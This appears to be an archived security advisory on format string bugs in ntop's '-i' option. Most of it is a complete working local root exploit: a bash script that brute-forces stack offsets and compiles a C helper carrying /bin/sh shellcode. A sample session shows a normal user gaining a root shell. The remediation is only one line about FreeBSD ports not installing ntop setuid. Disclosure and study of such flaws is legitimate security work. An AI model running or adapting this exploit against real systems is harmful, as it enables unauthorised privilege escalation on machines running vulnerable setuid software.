Vulnerability
ntop
Affected
ntop
Description
Paul Starzetz found following. There are various format string
bugs in the ntop package. This is _not_ a new problem. However,
in opposite to the '-w' option bug, an exploit for the existent
'-i' option format string bug has never been posted/released.
Many people assume, that format string bugs are heavy to exploit,
beacause one must deal with strange offsets. But with a piece of
tricky code, format string bugs become really easy exploitable.
The idea is of course, not new: brute force the stack address
where the retadr is saved during some 'printf' call.
The format string needed to reach itself by consumig stack
arguments is constructed in an automated manner. It looks like:
<padding><stackeat><write><address><nops><shellcode>
The offsets given at the beginning of the code come from
ntop-1.0-21 as found on SuSE 6.1. Paul didn't have the source of
ntop 1.0, but after looking at ntop 1.1 the exploit should work
unchanged with 1.1, if not one can play with the value of writeadr
and shelladr (try increasing writeadr by 0x100). The address of
shellcode isn't critical as we can append enough nops to the
begining of the shellcode, but of course it will depend on the
size of the environment variables. The rest of the exploit code
is really self-explanatory.
Sample exploitation looks like this:
paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > uname -a
Linux phoenix 2.2.16-IPv6 #1 Sun Jun 25 18:07:06 CEST 2000 i586 unknown
paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > id
uid=500(paul) gid=100(users) groups=100(users),101(untrusted)
paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > ntopexpl.sh
configured for running /usr/sbin/ntop
RETADR = 0xbffff000
SHELL = 0xbffff320
NOPS = 128
[+] found /usr/sbin/ntop
now searching for offset
[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16]
[17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30]
[31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44]
[45] [46] [47] [48] [49] [50] [51] [52] [53] [54] [55] [56] [57] [58]
[59] [60] [61] [62] [63] [64] [65] [66] [67] [68] [69] [70] [71]
[+] OFFSET found to be 284/71
now constructing magic string
[+] string fileds prepared
[+] bruteforce prog prepared
now brute force
[ 64] sh: ðÿ¿: command not found
ntop: listening on
PP%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%1
.
. (some output)
.
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff076tðÿ¿tðÿ¿uðÿ¿uðÿ¿vðÿ¿vðÿ¿wðÿ¿wðÿ¿sh-2.02#
sh-2.02# id
uid=0(root) gid=100(users) groups=100(users),101(untrusted)
sh-2.02#
Easy, isn't it? You will need an executable stack, of course.
Credit goes to Ksecurity for finding this vulnerability.
########################## ntopexpl.sh ##########################
#!/bin/bash
# CONFIGURATION:
umask 000
target="/usr/sbin/ntop"
tmpdir="/tmp/"
# address we want to write to (ret on the stack)
# has to be an absolute address but we brute force
# this scanning 64 addresses from writeadr on
writeadr="0xbffff000"
# no. of addresses to scan
wrep=64
# address of the shell in our string
# must point somewhere to our 'nop' region
shadr="0xbffff320"
# number of nops before shellcode
declare -i nnops
nnops=128
echo
echo "-------------------------------------------"
echo "| ntop local r00t exploit |"
echo "| by IhaQueR |"
echo "| only for demonstrative purposes |"
echo "-------------------------------------------"
echo
echo
echo "configured for running $target"
echo "RETADR = $writeadr"
echo "SHELL = $shadr"
echo "NOPS = $nnops"
echo
# fake shellcode
shellfake="SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
# number of nops before shellcode
declare -i nnops
nnops=128
# make nop field
declare -i idx
idx=0
nfake=""
while test $idx -lt $nnops; do
nfake="N$nfake"
idx=$(($idx+1))
done;
# sanity check :-)
if ! test -x $target ; then
echo "[-] $target not found or not executable, sorry"
exit 1
fi;
echo "[+] found $target"
declare -i cnt
declare -i cntmax
cnt=0
cntmax=1024
# make string used for offset search
# like <head><addr><nops><shellcode>
# PP stands for padding
string="%0016d%x%0016d%d%0016d%d%0016d%dABCDEEEEFFFFGGGGHHHHIIIIJJJJKKKK${nfake}${shellfake}"
padding="PP"
declare -i npad
npad=2
gstring=""
# find offset
echo " now searching for offset"
echo
while test $cnt -le $cntmax ; do
gstring="%16g$gstring"
string="%16g$string"
cnt=$(($cnt+1))
result=$($target -i "$padding$string" 2>&1 | grep "44434241")
echo -n "[$cnt] "
if test "$result" != "" ; then
break;
fi;
done
# found offset
declare -i offset
offset=$(($cnt * 4))
echo
echo
if test $cnt -gt $cntmax ; then
echo "[-] offset not found, please tune padding :-)"
exit 2
fi;
echo "[+] OFFSET found to be $offset/$cnt"
echo " now constructing magic string"
# number of bytes written so far
declare -i nwrt
nwrt=$((16*${cnt} + ${npad}))
# bruteforce
echo "[+] string fileds prepared"
echo
cat <<__BRUTE__ >brute.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
// used with <string> <numwritten> <nops>
main(int argc, char** argv)
{
unsigned char str[8192];
unsigned char buf[8192];
unsigned char nop[1024];
unsigned addr[9];
unsigned char head[33]="%0016d%x%0016d%x%0016d%x%0016d%x";
// standard /bin/sh shell :-)
unsigned char hellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
int i, flip, nbrute;
unsigned char* ptr;
unsigned shadr, rtadr, nwrt;
int dn;
// construct string like <pad><eatstack><head><addr><nops><shell>
// no. of attempts
nbrute = $wrep;
// addr
rtadr = $writeadr;
while(nbrute>0) {
printf("[%4d] ", nbrute);
fflush(stdout);
fflush(stderr);
// nops
for(i=0; i<atol(argv[3]); i++)
nop[i] = 0x90;
nop[i] = 0;
// head
shadr = $shadr;
// 6 comes from "bind: "
nwrt = atol(argv[2]) + 6;
ptr = (unsigned char*)&shadr;
for(i=0; i<4; i++) {
flip = (((int)256) + ((int)ptr[i])) - ((int)(nwrt % 256));
nwrt = nwrt + flip;
sprintf(head+i*8, "%%%04dx%%n", flip);
}
head[32] = 0;
// address field
for(i=0; i<4; i++) {
addr[2*i] = rtadr + i;
addr[2*i+1] = rtadr + i;
}
addr[8] = 0;
sprintf(str, "%s%s%s%s%s", argv[1], head, addr, nop, hellcode);
sprintf(buf, "./ntop -i \"%s\"", str);
// kabuum
system(buf);
nbrute--;
rtadr += 4;
}
return 0;
}
__BRUTE__
rm -rf brute
gcc brute.c -o brute
if ! test -x brute ; then
echo "[-] compilation error, exiting"
exit 2
fi;
echo "[+] bruteforce prog prepared"
echo " now brute force"
echo
brute "$padding$gstring" ${nwrt} ${nnops}
echo ""
echo "[+] done"
echo ""
Solution
It's worth noting that FreeBSD doesn't (as of rev 1.13 of
ports/net/ntop/Makefile) install this suid/sgid so this exploit
isn't a problem if ntop was installed from ports/packages.
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